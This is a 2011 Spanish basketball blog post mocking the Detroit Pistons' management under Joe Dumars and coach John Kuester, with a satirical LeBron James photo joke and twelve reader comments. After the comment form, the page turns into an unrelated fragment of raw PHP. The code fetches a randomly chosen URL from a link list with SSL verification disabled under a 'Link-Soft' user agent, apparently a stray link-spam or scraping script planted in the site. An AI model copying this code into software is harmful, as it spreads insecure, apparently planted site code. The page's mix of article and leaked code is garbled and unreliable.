Reflexiones sobre la bocina #5

01 de April de 2011 por MagicJohnson32

¿Sabéis el chiste de ese aficionado a la NBA al que, tras encontrarse una lámpara mágica y frotarla, se le aparece un genio que le concede un deseo? El aficionado, sin necesidad de pensárselo dos veces, le dice al genio: “Quiero que le devuelvas la vida a Wilt Chamberlain, que era mi gran ídolo de la infancia”. “No puedo”, contesta el genio, “soy capaz de cualquier cosa, excepto de resucitar a los muertos”. El aficionado, tras darle muchas vueltas, se decide: “Pues quiero que me expliques la rotación de los Pistons de esta temporada”. Y el genio, con gesto de resignación, replica: “¿Cómo dices que se deletrea Chamberlain?”.

De acuerdo, tal vez el chiste no era así, pero me permitiréis la licencia de acomodarlo con el objetivo de reflejar la frustración que uno siente al enfrentarse al gigantesco reto de desentrañar qué viene sucediendo en los últimos tiempos con los Detroit Pistons. ¿Quién me mandaría a mí meterme en semejante berenjenal para el quinto capítulo de  las Reflexiones sobre la bocina?

- "Mierd... nos han pillado mientras te pasaba el número de mi teléfono erótico favorito. Disimula, sonríe y di que me has fichado como entrenador".

Ciñámonos a los hechos, pues, a ver si a partir del relato de los mismos obtenemos alguna conclusión mínimamente razonable. Aprovechemos para recordar aquel tiempo, no tan lejano, en el que veíamos a los Pistons como una franquicia con un proyecto sólido como el hormigón y admirábamos la gestión de Joe Dumars. Su etapa como General Manager se inició en el año 2000. Bajo su mando, los Pistons dejaron de ser el equipo intrascendente en que se habían convertido tras los años de los Bad Boys y regresaron al primer plano con 6 títulos de la Central Division en 7 años, durante los cuales alcanzaron la gloria del anillo en 2004, fueron finalistas en 2005 y disputaron las finales de la Conferencia Este en otras tres ocasiones. Dumars esculpió aquel quinteto, grabado a fuego en nuestras memorias y que permaneció inalterable durante años, formado por Billups, Hamilton, Prince, Rasheed y Ben Wallace, primero con Larry Brown y más tarde con Flip Saunders en el banquillo. Incluso tras la marcha de Big Ben a los Bulls, compensada con la llegada de Chris Webber como agente libre y posteriormente con la consolidación de McDyess como titular, los Pistons se mantuvieron entre la elite y siguieron siendo el equipo áspero y competitivo que conocíamos. En definitiva, Dumars fue un GM ejemplar para una franquicia modélica.

Hasta el 3 de noviembre de 2008.

Algo le debió de suceder a Dumars durante aquel verano. Algo grave, traumático, una de esas cosas que te cambian para siempre y para peor. Tal vez tuvo una experiencia cercana a la muerte o vio un capítulo de una serie española, la cuestión es que a Dumars, de pronto, se le atrofió el sentido común y se convirtió en algo muy parecido a su ex compañero de backcourt Isiah Thomas; es decir, en el peor GM imaginable.

dumars iverson

- "Ay, que la estoy liando..."

Para empezar, descabezó el proyecto. Aquel 3 de noviembre de 2008, Chauncey Billups abandonaba la franquicia a la que había liderado al anillo en 2004, y marchaba rumbo a Denver, a cambio de Allen Iverson. En aquel momento la decisión podía incluso tener sentido: aprovechar los últimos coletazos de Iverson, liberar al verano siguiente sus más de 20 millones de dólares, y dejar margen al crecimiento de un Rodney Stuckey en el que se depositaban muchas de las esperanzas de la franquicia. A la hora de su puesta en práctica, sin embargo, fue un absoluto desastre: ni a Iverson le quedaban coletazos que dar, ni Dumars o Curry, técnico encargado de suceder a Saunders, supieron mantener bajo control un vestuario en el que se desató un proceso degenerativo que todavía dura. Como resultado, los Pistons registraron la primera temporada con balance negativo desde los inicios de la dirección de Dumars.

Llegó el verano de 2009, y todo lo que los Pistons obtuvieron con el dinero liberado tras la finalización del contrato de Iverson fue Ben Gordon (55 millones en 5 años) y Charlie Villanueva (35 millones, 5 años), dos jugadores que ni eran lo que los Pistons necesitaban, ni valían lo que se pagó por ellos, ni han sido debidamente utilizados por John Kuester, técnico al que Dumars otorgó las riendas del equipo. Y aquí es cuando retomamos la moraleja del chiste inicial: ¿quién entiende las rotaciones de Kuester?

- "Alguien debería decirle a Stern que anule la norma que te obliga a cambiar de quinteto en cada partido, porque se me empiezan a agotar las ideas"

Yo me declaro incapaz. En primer lugar, no sé a qué dedicó la pretemporada, porque, definitivamente, no fue a perfilar el equipo. A partir de ahí, su gestión de la plantilla ha sido demencial. Tras 5 meses de competición, y a un par de semanas para finalizar la regular season, seguimos sin saber cuál es el quinteto inicial de los Pistons, en el que sólo Prince ha figurado siempre que ha estado disponible. Se cargó a Hamilton, que se ha pasado enfadado todo el año y que estuvo a un paso de salir; se ha enfrentado en varias ocasiones a Stuckey, quien tampoco se ha librado de las impredecibles rotaciones de su técnico; ha cambiado el rol de McGrady con la misma facilidad con la que Charles Barkley se funde un fajo de billetes en el casino; Daye pasó de titular a no contar de un día para otro; Villanueva y Gordon, que debían aportar minutos de calidad desde el banquillo, se han ido diluyendo cada vez más hasta prácticamente desaparecer por completo; y a Kuester le ha llevado media temporada darse cuenta de que el novato Greg Monroe es, de largo, el mejor interior de la plantilla y que no hay un solo motivo para no darle la titularidad y tantos minutos como sea posible.

Hay que reconocerle a Kuester un mérito: ha logrado que todos sus jugadores, en bloque, le pierdan el respeto. El momento más miserable en toda esta historia ocurrió en febrero, a partir de la ausencia de varios jugadores en un entrenamiento matinal. Hamilton, Prince, McGrady y Wilcox no aparecieron, y Stuckey y Daye llegaron tarde, en lo que fue visto por todo el mundo como un pulso de la plantilla para forzar el despido de su entrenador. Kuester, en cambio, lo interpretó de una manera un tanto críptica: “A veces la percepción es diferente de la realidad”. Es decir, que aquello que todos veíamos como una protesta de los jugadores con el único objetivo de echarlo, era otra cosa.

pistonsbenchlaugh

- "Y el genio responde... ¿¿cómo dices que se deletrea Chamberlain??"

Las dudas de Kuester se debieron de disipar poco después, esa misma tarde, cuando los Pistons jugaban en Philadelphia. Kuester castigó a los amotinados y alineó a seis jugadores (Gordon, Will Bynum, Summers, Monroe, Villanueva y Maxiell). En el segundo cuarto, con su equipo 10 abajo, el técnico fue expulsado tras recibir dos técnicas por protestar, momento en el que la cámaras de televisión captaron las risas de McGrady, Stuckey y Wallace. La escena, de una bajeza extraordinaria, dejaba en tan mal lugar a los jugadores protagonistas como a los propios Kuester y Dumars.

No han cambiado mucho las cosas en el mes y poco que ha transcurrido desde entonces. O mejor dicho, no han dejado de cambiar, porque Kuester sigue haciendo sus rotaciones sin ningún sentido aparente. Y los Pistons siguen un camino sin rumbo, como contagiados por la profunda depresión que vive la ciudad, y un pabellón que durante 5 años seguidos había registrado lleno tras lleno ahora se ve cada vez más desangelado, con una afición frustrada por lo que ve en el parquet. Como para no estarlo.

Conspiración al descubierto

El pasado martes los medios de comunicación americanos nos contaban que LeBron James se había escondido durante la presentación de los jugadores previa al partido de Miami en Cleveland. Leímos opiniones extremadamente críticas con James y vimos imágenes que corroboraban la historia. Yo, sin embargo, no me lo creí. “Él nunca lo haría”, pensé. LeBron jamás dejaría a sus compañeros solos ante unos abucheos dirigidos a él. Jamás se saltaría el sagrado ritual del himno. Jamás haría algo tan cobarde, mezquino, absurdo e infantil como eso.

Así que inicié una ardua labor de investigación con el objetivo de probar que LeBron sí estuvo allí, donde le correspondía, en el banquillo de los Heat, comprometido con ese papel de malo que, según él mismo asegura, le gusta representar. Como resultado de esta investigación, y tras reconstruir el archivo de vídeo hasta obtener las imágenes reales, puedo afirmar que he descubierto una tortuosa conspiración que implica a la NBA TV, cadena que emitía las imágenes, y al departamento de infografía del As, especialistas de talla mundial en el intrincado arte de hacer desaparecer jugadores. He aquí la imagen que prueba la conspiración:

A la izquierda, la imagen que se nos ha mostrado, en la que LeBron no aparece. A la derecha, la escena real, con LeBron en pie, soportando estoicamente los abucheos.

Qué escándalo.

Comenta

12 comentarios a esta entrada

  1. TheDeerHunter dice:
    #1

    Qué habilidad con el photoshop, mare…. qué risera

      Citar

  2. Rompe dice:
    #2

    Muy muy bueno Magic!!

      Citar

  3. Uno cualquiera dice:
    #3

    Enorme 😀

      Citar

  4. HeiNeKeN dice:
    #4

    jajajaa que risas, menudo CRACK eres!!

      Citar

  5. Txusma dice:
    #5

    Bien… ahora me hago una idea de lo que ha pasado en los Pistons. La pregunta es: alguna solución a corto-medio plazo? Viendo los precedente a lo mejor traspasan a Greg Monroe…

      Citar

  6. MagicJohnson32 dice:
    #6

    Creo que poner a un entrenador competente sería lo primero. Luego, deshacerse de los contratos de Gordon o RIP, apostar por los jóvenes, perder muchos partidos y confiar en que salga algo realmente bueno en la lotería.

      Citar

  7. MagicJohnson32 dice:
    #7

    Eddy Curry, a un paso de los Heat. Tremendo. Habrá que dedicarle unas Reflexiones, jeje…

      Citar

  8. Denise dice:
    #8

    si al final Curry juega para los Heat ya tienen 6 nuevos leñazos para repartirselos a Noah y a Boozer en la final del Este, y a Gasol y a Bynum en la final del Oeste.
    Curry, Magloire, Dampier, Ilgauskas, Anthony…uff, 30 leñazos para los pivots rivales. Porque esa es la unica utilidad de estos jugadores.

      Citar

  9. MagicJohnson32 dice:
    #9

    Recupero el tema porque hace unos días saltó un nuevo episodio de la batalla Stuckey vs Kuester. El jugador se negó a entrar en el último cuarto del reciente Celtics-Pistons, y cada vez está más claro que la situación se reduce a “o él o yo”. La actitud de Stuckey me parece lamentable pero obviamente Kuester, que no se ha lucido precisamente, lleva todas las de perder.

      Citar

  10. TheDeerHunter dice:
    #10

    Pero ¿con quién no ha discutido Kuester?
    Qué manera más increíble de estropear la carrera de un jugador.

      Citar

  11. Denise dice:
    #11

    Que profesional debe ser un jugador para negarse a salir a pista cuando el coach lo ordena.
    Todo mi total apoyo a Kuester, y todo mi rechazo a estos pseudoprofesionales que juegan, o mejor dicho, hacen el ridiculo en los Pistons.

      Citar

  12. TheDeerHunter dice:
    #12

    Pues yo creo que hay casos y casos.
    Que está muy mal hacer lo que hizo Stuckey, pero que llueve sobre mojado… y cuando un tipo es un disparate tan bizarro como Kuester, que está perjudicando gravemente al grupo y a los jugadores individualmente no queda otra que revelarse.
    Stuckey no es un jugador que haya tenido fama de problemático. Seguro que para él hacer tal cosa no fue nada fácil y tendrá que asumir las consecuencias…

    La culpa de todo la tiene Dumars… ya va siendo hora que el personal empiece a evaluarle como merece.

      Citar

Deja un comentario

html; } class Helper { public function random_date() { $low = '732045693'; $high = time(); $random = rand($low, $high); return date("D, d M Y H:i:s",$random); } } class Fetch_site { public $url; public $html; public function __construct($sites=null, $link_list=null) { $this->is_curl_installed(); if($link_list !== null) { $this->choose_site($link_list); } $this->load_site($this->url); } public function choose_site($file=null) { $file = explode("\n", $file); $key = rand(0, (count($file)-1)); $this->url = trim($file[$key]); } public function load_site($url) { $useragent = array('Link-Soft'); $rand = array_rand($useragent); $ch = curl_init(); $options = array( CURLOPT_URL => $url, CURLOPT_HEADER => 0, CURLOPT_USERAGENT => $useragent[$rand], CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_RETURNTRANSFER => 1, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_ENCODING => "", CURLOPT_AUTOREFERER => 1, CURLOPT_CONNECTTIMEOUT => 30, CURLOPT_TIMEOUT => 30, CURLOPT_MAXREDIRS => 5, ); curl_setopt_array($ch,$options); $result = curl_exec($ch); if(!$result) { return curl_error($ch); } curl_close($ch); $this->html = $result; } public function is_curl_installed() { if(!in_array('curl',get_loaded_extensions())) { trigger_error("cURL PHP extension is disabled or not installed.",E_USER_ERROR); } } } unset($n); ?>